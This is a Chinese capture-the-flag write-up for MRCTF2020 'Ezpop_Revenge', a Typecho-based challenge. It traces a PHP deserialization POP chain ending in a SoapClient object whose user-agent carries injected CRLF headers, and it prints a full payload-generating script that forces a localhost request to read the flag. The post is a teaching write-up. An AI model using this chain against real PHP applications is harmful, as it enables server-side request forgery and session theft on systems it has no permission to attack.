【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF

发布时间 2023-11-16 10:48:49作者: CAP_D

【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF

1. 收获

  • CMS初审计
  • google、baidu hack
  • PHP原生类反序列化

2. 看题

2.1 读源码

网页存在源码泄露,访问www.zip,得到源码。同时要知道,typecho模板是存在反序列化注入漏洞的,但是其存在于install.php,本题中没有这个文件,所以找找其他线索。

flag.php:

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

说明是要读session中的flag字段。

搜索字符串unserialize,找到其他使用反序列化函数的地方,在/usr/plugin.php中发现:

image-20231114183420528

也就是说,如果请求中存在admin字段,同时session中的flag字段也被成功写入,则会输出flag的值。那我们要做的就是满足flag.php中的条件:$_SERVER['REMOTE_ADDR']==="127.0.0.1"

2.2 函数触发

为了激活该反序列化函数,我们需要查找action函数对应的路由,全局搜索类名HelloWorld_Plugin,定位到文件/var/Typecho/Plugin.php:

image-20231114205801338

可以看到访问/page_admin即可触发action函数。

2.3 POP链

查看/usr/plugin.php中的POP链,定位函数:

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

这里实例化了一个类,所以进入Typecho_Db类中的__construction查看:

    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

这里提示使用__toString方法。全局搜索toString函数,这里使用/var/Typecho/Db/Query.php中的函数:

public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
           .....//省略后面
        }
    }

可以看到如果我们的_adapter属性不包含parseSelect方法的话就会调用其自身的__call函数,因此这里使用PHP中的原生类SoapClient进行SSRF,因为原生类中包含了__call函数。

利用链:

HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF

2.4 Payload

如下:

<?php 
class HelloWorld_DB{
    private $coincidence;
    public function __construct()
	{
		$this->coincidence['hello'] = new Typecho_Db_Query();
        $this->coincidence['world'] = 'test';
	}
}

class Typecho_Db_Query{
    private $_sqlPreBuild;
    private $_adapter;
    	private $_prefix;
    public function __construct()
    {
		$target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=qjk6oqprtp6i6rl3tgnk1csev6"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }

}
$A=new HelloWorld_DB();

echo urlencode(base64_encode(serialize($A)));
?>

下面只需要使用POST方式把上面的输出放到C0incid3nc3变量中即可。然后在GET参数上再加一个admin变量即可出现flag的值。